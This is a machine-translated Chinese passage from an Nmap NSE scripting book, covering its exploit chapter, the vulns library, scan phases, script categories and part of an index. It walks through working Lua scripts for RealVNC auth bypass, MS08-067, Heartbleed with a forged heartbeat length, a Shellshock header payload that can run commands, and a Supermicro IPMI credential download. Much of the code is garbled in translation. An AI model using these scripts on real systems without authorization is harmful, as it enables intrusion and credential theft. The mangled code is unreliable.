- vuln NSE库提供了一个简单的接口来创建组织良好的漏洞报告
- NSE提供强大的并行性支持和错误处理机制
记住,要执行属于某个类别的所有脚本,我们必须简单地将类别名称传递给 --script 参数。如果我们激活并加强版本检测(-sV --version-all),并覆盖整个有效的端口范围(-p),这个动作一般会产生更好的结果。
# nmap -sV --version-all -p- --script vuln <目标
如果我们幸运的话,我们应该看到一个(或几个)漏洞报告,其中有对所发现问题的详细描述。下面是一份关于ssl-ccs-injection NSE脚本的报告。
港口国服务
443/tcp openhttps
| ssl-ccs-injection。
|的。
|SSL/TLS MITM漏洞(CCS注入)
|状态。脆弱的
|风险因素。高
|描述。
|0.9.8za之前的OpenSSL,1.0.0m之前的1.0.0,以及1.0.1之前的
|1.0.1h没有正确限制ChangeCipherSpec的 处理
,这使得中间人攻击者可以触发使用
在某些OpenSSL-to-OpenSSL中使用 零长度的主密钥 。
|沟通,并因此劫持会话或获得
| 敏感信息,通过伪造的TLS握手,又称
|"CCS注入 "漏洞。
|
|参考文献。
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| http://www.cvedetails.com/cve/2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
此外,你也可以通过vulns.showall脚本参数来显示所有尝试的漏洞。
#nmap -sV --script vuln --script-args vulns.showall <target>。
这将产生以下输出。
| http-method-tamper。
|不脆弱。
|通过篡改HTTP动词实现认证绕过
|状态。不易受攻击
|参考文献。
|http://capec.mitre.org/data/definitions/274.html
| https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28O wasp-cm-00829
|http://www.mkit.com.ar/labs/htexploit/
|_ http://www.imperva.com/resources/glossary/http_verb_tampering.html
| http-phpmyadmin-dir-traversal:
|不脆弱。
|phpMyAdmin grab_globals.lib.php子表单参数遍历本地文件包含
|状态。不易受攻击
|IDs:CVE:CVE-2005-3299
|参考文献。
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|http://www.exploit-db.com/exploits/1244/
| http-phpself-xss。
|不脆弱。
|在PHP文件中不安全地使用$_SERVER["PHP_SELF"]
|状态。不易受攻击
|参考文献。
|http://php.net/manual/en/reserved.variables.server.php
|_https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
| http-slowloris-check:
|不脆弱。
|Slowloris DOS攻击
|状态。不易受攻击
|参考文献。
|http://ha.ckers.org/slowloris/
|_http-stored-xss:无法找到任何存储的XSS漏洞。
| http-tplink-dir-traversal:
|不脆弱。
|若干TP-Link无线路由器存在路径穿越漏洞
|状态。不易受攻击
|参考文献。
|http://websec.ca/advisories/view/path-traversal
-弱点-tplink-wdr740
| http-vuln-cve2010-2861:
|不脆弱。
|Adobe ColdFusion目录漏洞
|状态。不易受攻击
|IDs:CVE:CVE-2010-2861OSVDB:67047
|参考文献。
| http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking
|http://www.nessus.org/plugins/index.php?view=single&id=48340
|http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2861
| http-vuln-cve2011-3192:
|不脆弱。
|Apache byterange filterDoS
|状态。不易受攻击
|IDs:CVE:CVE-2011-3192OSVDB:74721
|参考文献。
|http://seclists.org/fulldisclosure/2011/Aug/175
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|http://nessus.org/plugins/index.php?view=single&id=55976
利用NSE类别
剥削NSE类别包含32个脚本,用于攻击特定的应用程序
和服务;正如其名,它们是完全可配置的工作漏洞。在这些脚本中,我想起了几个,因为它们在过去对我非常有用。
- http-csrf:该工具对一个网站进行扫描,并试图检测跨网站攻击。
请求伪造漏洞。
- http-stored-xss。这发现了存储的跨网站漏洞。
- http-adobe-coldfusion-apsa1301: 这试图在有漏洞的Coldfusion 9和10中检索一个授予管理权限的HTTP会话cookie。
- http-iis-short-name-brute:利用IIS网络服务器,获取存储在webroot文件夹中的文件和文件夹的Windows 8.3短名称。
- jdwp-exec: 这是利用了Java调试线协议。
- smb-check-vulns。这可以检测在过时的Windows系统中发现的几个漏洞。它是检测网络上有漏洞的Windows XP系统的最简单方法。
不要忘了看一下这个类别中的整个可用脚本列表。 许多流行的漏洞扫描器不会检测到泄露存储在其根文件夹中的文件短名的IIS网络服务器。如果我看到IIS网络服务器,我总是尝试http-iis-short-name-brute NSE脚本,它不仅可以检测到,而且可以利用这个漏洞,获得存储在webroot文件夹中的整个文件和文件夹的列表。
$ nmap -p80 --script http-iis-short-name-brute <target>。
这个脚本将产生以下输出。
港口国服务
80/tcp openhttp
| http-iis-short-name-brute。
|的。
|微软IIS的倾斜字符"~"的短名称披露和拒绝服务
|状态。 的(可利用的)。
|描述。
| 攻击的IIS服务器在webroot文件夹内 披露带有Windows 8.3命名方案的 文件夹和文件名
|Shortnames可以用来猜测或强行敏感文件名。攻击者可以利用这个漏洞来
|造成拒绝服务情况。
|
|额外的信息。
|
|8.3发现的 文件名
|文件夹
|admini~1
|文件
|backup~1.zip
|certsb~2.zip
|siteba~1.zip
|
|参考文献。
| http://soroush.secproject.com/downloadable/microsoft_iis_ tilde_cha
牵引器_脆弱性_特征.pdf
| http://code.google.com/p/iis-shortname-scanner-poc/
漏洞类的整个NSE脚本列表可以在http://nmap.org/nsedoc/categories/exploit.html。
利用RealVNC
RealVNC是一个流行的产品,包括VNC协议的客户端和服务器,用于远程管理工作站。不幸的是,在野外发现该软件的过期版本是很常见的。4.1.1版和其他几个免费、个人和企业版受到认证绕过漏洞的影响,允许攻击者获得对VNC服务器的访问。
要检测有漏洞的VNC服务器,我们只需要发送一个空的认证数据包并检查响应状态代码。Nmap有realvnc-auth-bypass NSE脚本,可以利用这个问题。让我们看一下这个脚本的内部结构。
像往常一样,我们从描述和库的调用开始。
描述 = [[]
检查一个VNC服务器是否容易受到RealVNC认证绕过的影响。
(cve-2006-2369)。
]]
作者="Brandon Enright"
license = "与Nmap相同--见http://nmap.org/book/man-legal.html" categories = {"auth", "default", "safe"}
本地nmap = 需要 "nmap"
local shortport = require "shortport" local vulns = require "vulns"
该脚本设置端口规则,当端口5900打开或检测到的服务名称为vnc时执行。
portrule = shortport.port_or_service(5900, "vnc")
主动作代码块将创建一个NSE套接字与服务进行通信,发送几个数据包,然后检查响应以确定服务器是否有漏洞。
action = function(host, port) local socket = nmap.new_socket() local result
local status = true socket:connect(host, port)
status, result = socket:receive_lines(1) if (not status) then
socket:close() return
结束
socket:send("RFB 003.008\n")
status, result = socket:receive_bytes(2)
如果(not status or result ~= "\001\002"),那么socket:close()
返回
结束
socket:send("\001")
status, result = socket:receive_bytes(4)
如果(not status or result ~= "\000\000\000"),那么socket:close()
返回结束
socket:close() return "Vulnerable"
结束
脆弱的VNC服务器将返回以下输出。
端口状态服务版本
5900/tcp openvncVNC(协议3.8)。
|_realvnc-auth-bypass:有漏洞的
这个脚本是前段时间提交的,它并没有产生最好的输出格式,但我们将在本章后面的时间里,当我们了解更多关于vulns NSE库的信息时,再去研究它。
检测脆弱的Windows系统
有些脚本可能需要额外的参数来正确执行漏洞检查;例如,我一直喜欢的smb-check-vulns就要求用户设置不安全的脚本参数来运行所有检查。
$ nmap -p- -sV -script vuln --script-args unsafe <target>.
这个脚本将产生以下输出。
主机脚本结果。
| smb-check-vulns。
|MS08-067。易受伤害
|Conficker。可能是干净的
|regsvc DoS: regsvc DoS:错误(nt_status_access_denied)
|SMBv2 DoS (CVE-2009-3103)。不易影响
|MS06-025: 没有服务(Ras RPC服务不活动)。
|_MS07-029: 没有服务(Dns服务器RPC服务不活动)。
然而,请记住,在设置不安全的脚本参数时,你需要小心,因为这很可能会使未打补丁的Windows系统崩溃。smb-check-vulns脚本执行下列漏洞检查。
- Windows Ras RPC服务漏洞(MS06-025)
- Windows Dns Server RPC服务漏洞(MS07-029)
- Windows RPC 漏洞 (MS08-67)
- 感染Conficker蠕虫病毒
- CVE-2009-3013
- Ron Bowes发现的未命名的regsvc DoS
这些漏洞已经存在了很长时间,但令人惊讶的是,仍然有数量惊人的未打补丁的Windows 2000、Windows XP和Windows Server 2003盒子在线,尤其是在企业网络中,尽管微软已经不再支持这一版本。通过利用smb-check-vulns,我们可以在渗透测试中迅速找到网络中这些过时的盒子。让我们深入了解一下这个脚本是如何识别最著名的MS08-067漏洞的。
smb-check-vulns.nse脚本通过使用非法字符串调用NetPathCompare并检查服务是否接受它来检测MS08-067。 这个脚本用于建立SMB通信并执行所需的MSRPC操作,使用smb和msrpc库。
--@param host 主机对象。
--@return (status, result) 如果status为false,结果是一个错误代码;否则,结果为
--<code>VULNERABLE</code>表示脆弱,<code>PATCHED</code>表示不脆弱。
--<code>UNKNOWN</code>如果有一个错误(可能是脆弱的),<code>NOTRUN</code>。
--如果这个检查被禁用,<code>INFECTED</code>如果它被Conficker打了补丁。
函数 check_ms08_067(host) if(nmap.registry.args.safe ~= nil) then
返回 true, NOTRUN 结束
如果(nmap.registry.args.unsafe == nil)则返回true, NOTRUN
结束
本地状态,SMB状态
当地的bind_result, netpathcompare_result
-- 创建SMB会话
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") if(status == false) then
返回 false, smbstate
结束
-- 绑定到SRVSVC服务
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then msrpc.stop_smb(smbstate) return false, bind_result
结束
--调用netpathcanonicalize
-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\test\")
local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...\n"
local path2 = "\\n"
status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
--停止SMB会话 msrpc.stop_smb(smbstate)
if(status == false) then if(string.find(netpathcompare_result,
"WERR_INVALID_PARAMETER") ~= nil) 则
return true, INFECTED elseif(string.find(netpathcompare_result, "INVALID_NAME") ~=
nil),那么
返回 true, PATCHED 否则
返回 true, UNKNOWN, netpathcompare_result end
结束
返回 true, VULNERABLE 结束
我们将省略负责格式化输出的函数。易受攻击的窗口
工作站将产生类似以下的输出。
主机脚本结果。
| smb-check-vulns。
|MS08-067。易受伤害
|Conficker。可能是干净的
|regsvc DoS: regsvc DoS:错误(nt_status_access_denied)
|SMBv2 DoS (CVE-2009-3103)。不易影响
|MS06-025: 没有服务(Ras RPC服务不活动)。
|_MS07-029: 没有服务(Dns服务器RPC服务不活动)。
在这种情况下,NSE库使漏洞检测功能看起来非常简单,但请记住,该库正在进行有关协议通信的繁重工作。然而,当你下次遇到一个新的SMB漏洞时,你可以使用这个相同的库,并开始处理你的攻击载体所特有的位;你不需要花任何时间去处理协议通信任务。即使你需要创建一个新的协议库,你也有Lua和NSE的力量供你使用。
msrpc和smb库的官方文档可以在http://nmap.org/nsedoc/lib/msrpc.html 和 http://nmap 找到 。
org/nsedoc/lib/smb.html。
利用臭名昭著的heartbleed漏洞
Heartbleed漏洞影响到SSL和TLS的1.0.1到1.0.1f版本的OpenSSL实现。它是一个非常流行的密码学库,它可以
在数百(可能是数千)种不同的产品中发现,包括软件和硬件。据估计,在披露的那一刻--也就是2014年4月1日,它影响了大约14%的网络服务器。在2014年6月,仍有309,197台运行在443端口的易受攻击的服务器。这是今年最有趣的漏洞之一,因为它允许攻击者通过读取任意的内存位置来窃取证书、cookies和私钥。
心跳扩展是作为一项功能引入的,通过减少客户端之间的重新协商次数来提高性能。通过精心制作一个带有
攻击者可以在每次心跳中读取多达64KB的内存数据,而这些数据的大小大于目标结构。
让我们看看Patrik Karlsson提交的ssl-heartbleed脚本,了解如何用NSE检测这个漏洞。这个脚本使用tls库(http://nmap. org/nsedoc/lib/tls.html)来创建TLS/SSL通信消息和缓冲区。让我们把重点放在检测程序上。
- 我们首先使用tls.client_hello()创建client_hello消息。
local hello = tls.client_hello({ ["protocol"] = version,
-- 声称支持每一种密码
-- 在IIS中不起作用,但IIS并不脆弱 ["ciphers"] = keys(tls.CIPHERS)。
["compressors"] = {"NULL"}, ["extensions" ] = {
-- 声称支持每条椭圆曲线 ["elliptic_curves"] =
tls.EXTENSION_HELPERS["elliptic_curves"](keys(tls.ELLIPTIC_
CURVES))。
-- 声称支持每一种EC点格式 ["ec_point_formats"] =
tls.EXTENSION_HELPERS["ec_point_formats"](keys(tls.EC_POINT
_FORMATS))。
["heartbeat"] = "\x01", -- peer_not_allowed_to_send
},
})
- 现在让我们在tls.record_ write(type, protocol, body)的帮助下定义我们的心跳请求。
local payload = stdnse.generate_random_string(19) local hb = tls.record_write("heartbeat", version,
bin.pack("C>SA",
1, -- HeartbeatMessageType heartbeat_request 0x4000, -- payload length(伪造的)。
-- 有效载荷长度基于4096-16字节的填充物
- 8字节的数据包
-- 头部+1到溢出
payload -- 小于payload长度。
)
)
- tls库根本不处理套接字通信;我们需要自己实现它。在这种情况下,为了发送我们的client_hello消息,我们用nmap.new_socket()或tls.getPrepareTLSWithoutReconnect(port)设置套接字,这取决于该协议是否使用START_TLS机制。
当地的s
local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
如果是专门的,则是当地的状态
status, s = specialized(host, port) if not status then
stdnse.debug3("连接到服务器失败") return
第十章
结束 其他
s = nmap.new_socket()
local status = s:connect(host, port) if not status then
stdnse.debug3("连接到服务器失败") return
结束 结束
s:set_timeout(5000)
-- 向目标服务器发送客户端的 "你好"(Hello) 本地 status, err = s:send(hello)
如果不是状态,那么
stdnse.debug1("Couldn't send Client Hello: %s", err) s:close()
return nil end
- tls.record_read()函数用于读取SSL/TLS记录并检查心跳扩展。
-- 读取响应 本地 done = false
本地支持 = 假的 本地 i = 1
地方反应重复
status, response, err = tls.record_buffer(s, response,
i)
如果err == "TIMEOUT",那么
-- 在等待server_hello_done时超时了
-- 可能是需要客户证书或其他
需要的信息
--还是放弃吧,无论如何都要尝试发送心跳。
done = true break
else if not status then stdnse.debug1("Couldn't receive: %s", err) s:close()
return nil end
本地记录
i, record = tls.record_read(response, i) if record == nil then
stdnse.debug1("来自服务器的未知响应") s:close()
返回nil
elseif record.protocol ~= version then stdnse.debug1("Protocol version mismatch") s:close()
return nil end
如果record.type == "handshake" 那么
for _, body in ipairs(record.body) do if body.type == "server_hello" then
如果body.extensions和body.extensions["heartbeat"] == "\x01" 那么
支持 = true 结束
elseif body.type == "server_hello_done" then stdnse.debug1("我们完成了!" )
done = true end
结束 结束
直到完成
如果不支持,那么
stdnse.debug1("服务器不支持TLS心跳请求。" )
s:close() return nil
结束
- 然后我们通过我们的套接字发送我们的心跳请求。
status, err = s:send(hb) if not status then
stdnse.debug1("Couldn't send heartbeat request: %s",
err)
s:close() return nil
结束
- 最后,我们读取响应并确定服务器是否有漏洞。
while(true) do
本地 status, typ, ver, len = recvhdr(s) if not status then
stdnse.debug1('没有收到心跳响应,服务器可能不存在漏洞')
休息结束
如果typ==24,那么当地支付
status, pay = recvmsg(s, 0x0fe9) s:close()
如果#pay>3,则返回true
否则
stdnse.debug1('Server processed malformed heartbeat, but did not return any extra data.' )
休息结束
elseif typ == 21 then
stdnse.debug1('Server returned error, likely not vulnerable')
休息结束
结束
为了完整起见,之前使用的recvhdr(s)和recvmsg(s, len)辅助例程定义如下。
本地函数 recvhdr(s)
local status, hdr = s:receive_buf(match.numbytes(5), true) if not status then
stdnse.debug3('Unexpected EOF receiving record header - server closed connection')
返回结束
local pos, typ, ver, ln = bin.unpack('>CSS', hdr) return status, typ, ver, ln
结束
本地函数 recvmsg(s, len)
local status, pay = s:receive_buf(match.numbytes(len), true) if not status then
stdnse.debug3('Unexpected EOF receiving record payload - server closed connection')
返回
结束
返回true,支付结束
这就是我们完成检测程序所需的全部代码。脚本的其余部分使用vulns库来创建一个漏洞报告。我们将在本章末尾进一步了解这个库。
ssl-heartbleed脚本已分发。的完整源代码。
ssl-heartbleed脚本可以在https://svn.nmap.org/nmap/scripts/ ssl-heartbleed.nse找到。
在网络应用中利用shellshock
GNU的最新bash漏洞,也被称为shellshock,允许攻击者远程执行命令。这是一个非常危险的漏洞,仍然有未知的攻击载体。它已经影响了从网络应用到硬件设备(如F5的防火墙)的一切。
让我们创建一个脚本来利用网络应用程序中的这个漏洞。正在使用的最流行的注入点是User-Agent HTTP头,但预计在一些应用程序中会有所不同。让我们试着让它尽可能的灵活。我们的脚本只需要调用http.get()来发送我们的攻击有效载荷。
我们首先声明了NSE库和我们的执行规则。
local http = require "http"
local shortport = require "shortport" local stdnse = require "stdnse"
local vulns = require "vulns"
portrule = shortport.http
我们的检测程序将在'() { :;}; 字符串有效载荷内插入一个echo命令,以寻找该模式并确定主机是否有漏洞。我们可以在不到100行的代码中完成整个检测和利用程序。
action = function(host, port)
本地cmd = stdnse.get_script_args(SCRIPT_NAME.".cmd")或nil 本地http_header =
stdnse.get_script_args(SCRIPT_NAME.".header")或 "User-Agent"
local http_method = stdnse.get_script_args(SCRIPT_NAME...".method") or 'GET' 。
local uri = stdnse.get_script_args(SCRIPT_NAME.".uri") or '/'
local rnd = stdnse.generate_random_string(15) local payload = '() { :;}; echo; echo "'.rnd.' "'
如果cmd ~= nil,那么
cmd = '() { :;}; '.cmd结束
-- 在HTTP头中种植有效载荷 local options = {header={}} options["no_cache"] = true options["header"][http_header] = payload
stdnse.debug(1, string.format("通过HTTP头发送'%s'", payload, http_header))
local req = http.get(host, port, uri, options)
如果req.status == 200 and string.match(req.body, rnd) ~= nil then stdnse.debug(1, string.format("发现随机模式'%s'")
页中。主机似乎有漏洞。", rnd))
返回 "这个HTTP应用程序有漏洞!" 结束
结束
这个脚本可以很好地检测这个漏洞;只要多写几行代码,我们就可以把它扩展到其他HTTP方法。在这一点上,我希望你
已经开始研究你自己的漏洞了,所以让我们更多地了解如何在你的NSE脚本中正确报告漏洞。
http-shellshock脚本的完整源代码可以在以下网址找到
https://svn.nmap.org/nmap/scripts/http-shellshock.nse。
报告漏洞
vulns NSE库为漏洞管理提供了一套有用的功能。其目的是为开发者提供一个存储和报告漏洞的通用接口。漏洞被存储在Nmap注册表里,在运行时可以被其他脚本访问。该库还帮助跟踪漏洞的所有状态。这些状态由库中定义的以下字符串常数表示。
- vulns.STATE.NOT_VULN
- vulns.STATE.LIKELY_VULN
- vulns.STATE.VULN
- vulns.STATE.DoS
- vulns.STATE.EXPLOIT
漏洞报告是以Lua表的形式传递给库的。一个漏洞表需要两个必选字段:标题和状态,但还有其他几个可选字段;其中一些,比如IDS,如果分配了CVE、BID或OSVDB ID,也会自动生成URL。支持的字段有:。
- 职称
- 国家
- IDS (可选)
- Risk_factor(可选)。
- 分数(可选)
- 描述(可选)
- 日期(可选)
- check_results(可选)。
- 剥削_结果(可选)
- extra_info (可选)
- 参考文献(可选)
让我们看看在ssl-heartbleed脚本中定义的一个漏洞表。
本地vuln_table = {
title = "Heartbleed Bug是流行的OpenSSL加密软件库的一个严重漏洞。它允许窃取打算由SSL/TLS加密保护的信息。" 。
state = vulns.STATE.NOT_VULN, risk_factor = "High", description = [[
OpenSSL的1.0.1和1.0.2-beta版本(包括1.0.1f和1.0.2-beta1)受Heartbleed漏洞影响。该漏洞允许读取受有漏洞的OpenSSL版本保护的系统的内存,并可能允许泄露原本加密的机密信息以及加密密钥本身。
]],
参考文献 = {
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE
-2014-0160',
'http://www.openssl.org/news/secadv_20140407.txt', 'http://cvedetails.com/cve/2014-0160/'
}
}
一旦我们创建了包含漏洞描述的Lua表,我们必须创建Vulns.Report类的实例。脚本也必须调用Vulns.Report:make_output()函数。这个函数接收给定的漏洞表并将其存储在数据库中。然后,它将输出格式化,以生成要显示给用户的报告。
本地vuln_table = { ...}
本地报告 = vulns.Report:new(SCRIPT_NAME, host, port)
...//在这里我们会做检查,然后相应地标记出漏洞的状态。
return report:make_output(vuln_table).
此外,你可以使用Vulns.Report:add()函数和简单地调用Vulns.Report:make_output()来添加漏洞,不需要任何参数。
本地vuln_table = { ...}
本地报告 = vulns.Report:new(SCRIPT_NAME, host, port)
...//再次,我们对漏洞的状态进行相应的标记。 report:add(vuln_table)
return report:make_output()
前面显示的两个代码片断都能达到同样的效果。如何使用这些功能是个人选择的问题。 漏洞数据库也可以通过前规则和后规则脚本访问,它允许开发者根据传递给vulns.save_reports()的回调函数中指定的标准来过滤脚本。vulns.save_reports()函数初始化了数据库,并将一个回调函数作为可选参数,该函数必须返回
一个布尔值,表示是否应将漏洞保存在注册表中。
在你的NSE脚本中使用vulns库
让我们创建一个脚本,利用一个简单的漏洞来突出这个库的最重要的方面。我们要利用的漏洞影响了Supermicro IPMI/BMC控制器;它允许攻击者通过简单地请求一个页面来下载其配置文件。像往常一样,让我们填入必要的脚本字段。
描述 = [[]
试图在易受攻击的Supermicro Onboard IPMI控制器中下载包含纯文本用户凭证的未受保护的配置文件。
该脚本连接到49152端口,并发出"/PSBlock "的请求,以下载文件。这个配置文件包含
用户的密码是纯文本的。
参考文献。
* http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and
-一些附加的附加物/
* https://community.rapid7.com/community/metasploit/blog/2013/07/02/ a-penetration-testers-guide-to-ipmi
]]
作者 = "Paulino Calderon <calderon () websec mx>"
license = "与Nmap相同--见http://nmap.org/book/man-legal.html" categories = {"exploit", "vuln"}
现在让我们导入所需的NSE库并定义我们的端口规则。该服务在TCP 49152端口运行,所以让我们在这个端口开放时运行脚本。在这个时候,服务检测没有这个服务的签名,所以我们不能把脚本的执行与服务名称联系起来。
local http = require "http" local nmap = require "nmap"
local shortport = require "shortport" local string = require "string"
local vulns = require "vulns" local stdnse = require "stdnse"
portrule = shortport.portnumber(49152, "tcp")
利用这个漏洞得到的配置文件太大,而且有太多的垃圾,无法显示给用户。由于这个原因,我们需要将配置文件存储在磁盘上。
---
--将字符串写入文件
本地函数 write_file(filename, contents) local f, err = io.open(filename, "w")
如果不是f,则返回f, err
end f:write(contents) f:close()
return true end
现在,主代码块将定义漏洞表并将状态标记为vulns.STATE.NOT_VULN。然后脚本将请求/PSBlock页面并检查响应。如果它看起来像配置,脚本将在磁盘上的理想位置保存文件,并将状态更新为vulns.STATE.EXPLOIT。在最后,我们将简单地返回vulns.Report:make_output()的调用结果。
action = function(host, port)
local fw = stdnse.get_script_args(SCRIPT_NAME.".out") or host.ip."_bmc.conf"
当地的vuln = {
title = "Supermicro IPMI/BMC 配置文件披露"。
state = vulns.STATE.NOT_VULN, description = [[
一些Supermicro IPMI/BMC控制器允许攻击者下载
一个包含纯文本用户凭证的配置文件。该凭证可用于登录管理界面和
网络的活动目录。]], 引用 = {
'http://blog.cari.net/carisirt-yet-another-bmc- vulnerability-and-some-added-extras/'。
},
日期 = {
disclosure = {year = '2014', month = '06', day = '19'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local open_session = http.get(host.ip, port, "/PSBlock")
如果open_session和open_session.status ==200和string.len(open_session.body)>200那么
s = open_session.body:gsub("%z", ".") vuln.state = vulns.STATE.EXPLOIT vuln.extra_info = "Snippet from configuration
file:\n".string.sub(s, 25, 200)
当地的status, err = write_file(fw,s) if status then
extra_info = string.format("\nConfiguration file saved to '%s'\n", fw)
否则
stdnse.debug(1, "将配置文件保存到'%s'的错误。
%s/n", fw, err) end
vuln.extra_info = "Snippet from configuration file:/n".string.sub(s, 25, 200).extra_info
结束
return vuln_report:make_output(vuln) end
现在,如果我们针对一个易受攻击的IPMI/BMC控制器运行该脚本,我们应该看到一个类似于这样的报告。
端口状态服务原因
49152/tcp openunknownsyn-ack
| supermicro-ipmi-conf。
|的。
|超微IPMI/BMC配置文件披露
|状态。 的(可利用的)。
|描述。
|一些超微公司的 IPMI/BMC控制器允许攻击者下载
一个包含纯文本用户凭证的配置文件。这个凭证可以用来登录管理界面和
|network的活动目录。
|披露日期:2014-06-19
|额外的信息。
|配置文件中的片段。
|
.............31spring.............\x14.\x01\x01\x01.
x01......\x01ADMIN...........ThIsApAsSwOrD.............T.T......
......\x01\x01x01.\x01......\x01ipmi............w00t! ............
.\x14.............
|配置文件保存为'xxx.xxx.xxx.xxx_bmc.conf'。
|
|参考文献。
| http://blog.cari.net/carisirt-yet-another-bmc-vulnerability
-和一些附加的附加物/
vulns库的官方文档可以在以下网址找到
摘要
在本章中,我强调了使用NSE创建漏洞的好处。在利用网络漏洞时,可用于处理不同网络协议和其他方面的漏洞开发的库可以为我们节省宝贵的时间。如果你正在处理更多晦涩的协议,Lua的简单性将允许你创建自己的NSE库,而没有太多的开销。
你学会了利用一些最新和最危险的漏洞,如Bash的shellshock、SSL的heartbleed,以及2014年Pwnie奖获奖的
IPMI/BMC配置泄露漏洞--在大多数情况下少于
100行的代码。最后,我们介绍了vulns NSE库,该库旨在帮助开发者创建有组织的漏洞报告,这些报告会以普通和XML输出模式自动生成。
现在唯一要做的是去创造您自己的NSE漏洞。如果您遇到困难,别忘了联系我或Nmap开发邮件列表。所有的合作者都会非常乐意帮助您,您的所有贡献都是受欢迎的,而且非常感激。尽管Nmap最初不是被设计成一个利用框架,但我们很乐意不断改进所有的利用类别。
扫描阶段
用Nmap进行的扫描分为几个阶段,其中一些阶段可以用不同的Nmap选项跳过。Nmap的扫描阶段是。
- 脚本预扫描。预扫描阶段只在你使用-sC或--script选项时执行;它试图通过NSE脚本的集合来检索额外的主机信息。
- 目标列举。在这个阶段,Nmap解析目标(或目标)并将它们解析成IP地址。
- 主机发现。这是Nmap通过执行指定的主机发现技术(或技术)确定目标(或目标)是否在线和在网络中的阶段。-Pn选项可以用来跳过这个阶段。
- 反向DNS解析。在这个阶段,Nmap执行反向DNS查询以获得每个目标的主机名。参数-R可以用来强制进行DNS解析,而-n可以用来跳过它。
- 端口扫描。在这个阶段,Nmap确定端口的状态。 可以用-sn参数跳过它。
- 版本检测。这个阶段负责对发现的开放端口进行高级版本检测。它只在设置了-sV参数的情况下执行。
- 操作系统检测。在这个阶段,Nmap试图确定目标的操作系统。它只在-O选项出现时执行。
- 追踪路线。在这个阶段,Nmap执行对目标的追踪路由。这个阶段只在设置了-traceroute选项时运行。
- 脚本扫描。在这个阶段,NSE脚本的运行取决于其执行规则。
扫描阶段
- 输出。在这个阶段,Nmap格式化所有收集到的信息,并且
将其以指定的格式返回给用户。
- 脚本后扫描。在这个阶段,具有扫描后执行规则的NSE脚本被评估并有机会运行。如果默认类别中没有扫描后的NSE脚本,这个阶段将被跳过,除非用--脚本参数指定。
[ 206 ]
NSE脚本模板
本附录包括一个NSE脚本模板,其中包含所需的脚本
字段的脚本和默认的许可值。
描述 = [[]
]]
---
-- @使用情况
--
--@输出
--
-- @args
--
---
作者=""
license = "与Nmap相同--见http://nmap.org/book/man-legal.html" categories = {}
----端口规则 =
行动 = function(host, port) end
这个模板可以在我的GitHub仓库中在线获得,网址是:https://github.com/ cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse。
NSE脚本模板
在线的其他模板
Nmap发行版还包括Ron Bowes制作的一个相当完整的模板。它可以从开发库的前一个工作拷贝中下载,网址是https://svn.nmap.org/nmap/docs/sample-script.nse?p=30373。
[ 208 ]
脚本类别
NSE脚本的收集分为以下几类。
- auth: 这些是与用户认证有关的脚本。
- 广播。这是一类非常有趣的脚本,利用广播请愿来收集信息。
- 蛮力。这类脚本有助于进行密码暴力审计。
- 默认的。这些是执行脚本扫描时执行的脚本(-sC)。
- 发现。这些是与主机和服务发现有关的脚本。
- dos:这些脚本与拒绝服务攻击有关。
- 漏洞。这些是利用安全漏洞的脚本。
- 外部的。这个类别是针对依赖于第三方服务的脚本。
- fuzzer。这些是专注于模糊处理的NSE脚本。
- 侵入性的。这是一个为可能会使某些东西崩溃或产生大量网络噪音的脚本而设的类别。系统管理员可能认为具有侵入性的脚本会放在这里。
- 恶意软件。这是一个与恶意软件检测有关的脚本类别。
- 安全的。这些是在所有情况下都被认为是安全的脚本。
- 版本。这些是用于高级版本管理的脚本。
- vuln。这些是与安全漏洞有关的脚本。
Nmap选项思维导图
这是Nmap在没有参数的情况下运行时返回的输出的思维导图。它包括最常见的选项,分为不同的类别,可供简单参考。
E
参考文献
这个附录反映了人们为Nmap所做的大量工作。我建议用Nmap项目的Gordon "Fyodor" Lyon的《Nmap网络扫描》和网上的官方文档来补充这个阅读,如下所示。
- http://nmap.org/book/
- http://nmap.org/nsedoc/
- http://www.lua.org/about.html
- http://www.nmap-cookbook.com
- http://en.wikipedia.org/wiki/Lua_(Programming_language)
- http://stackoverflow.com/questions/8092382/learning-lua-fast
- http://lua-users.org/wiki/ControlStructureTutorial
- http://www.lua.org/pil/24.3.2.html
- http://www.lua.org/manual/5.2/manual.html
- http://www.lua.org/manual/2.4/node22.html
- http://www.lua.org/pil/20.2.html
- http://www.lua.org/pil/13.1.html
- https://svn.nmap.org/nmap/scripts/http-majordomo2-dir
-traversal.nse
参考文献
- http://nmap.org/nsedoc/scripts/http-slowloris-check.html
- http://nmap.org/nsedoc/scripts/ssl-poodle.html
- https://github.com/s4n7h0/Halcyon/
- http://blog.bonsaiviking.com/2012/08/xml-output-for-nmaps-nse
-scripts.html
[ 214 ]
索引
A
高级主机发现, NSE脚本
约22
主机,用广播平移发现 22 监听LAN,用于发现目标 23
应用程序,NSE脚本
高级主机发现 22 信息收集 20
密码审计 24
漏洞扫描 25
APSB13-13
URL 126
算术元方法
增加53
联接 53
div 53
第53条
乓 53
第53项
第53条
约53
数组 44
关联索引。见字典
B
伯克利软件分布(BSD)70二进制数据
包装 149-151
打开包装 149-151
斌库
URL 149
Booleans, Lua 33
broadcast-igmp-discovery 脚本
URL,用于官方文件 65
广播平移脚本 22 蛮力攻击
用户名和密码列表 57
蛮横的密码审计攻击
脚本,针对MikroTik RouterOS
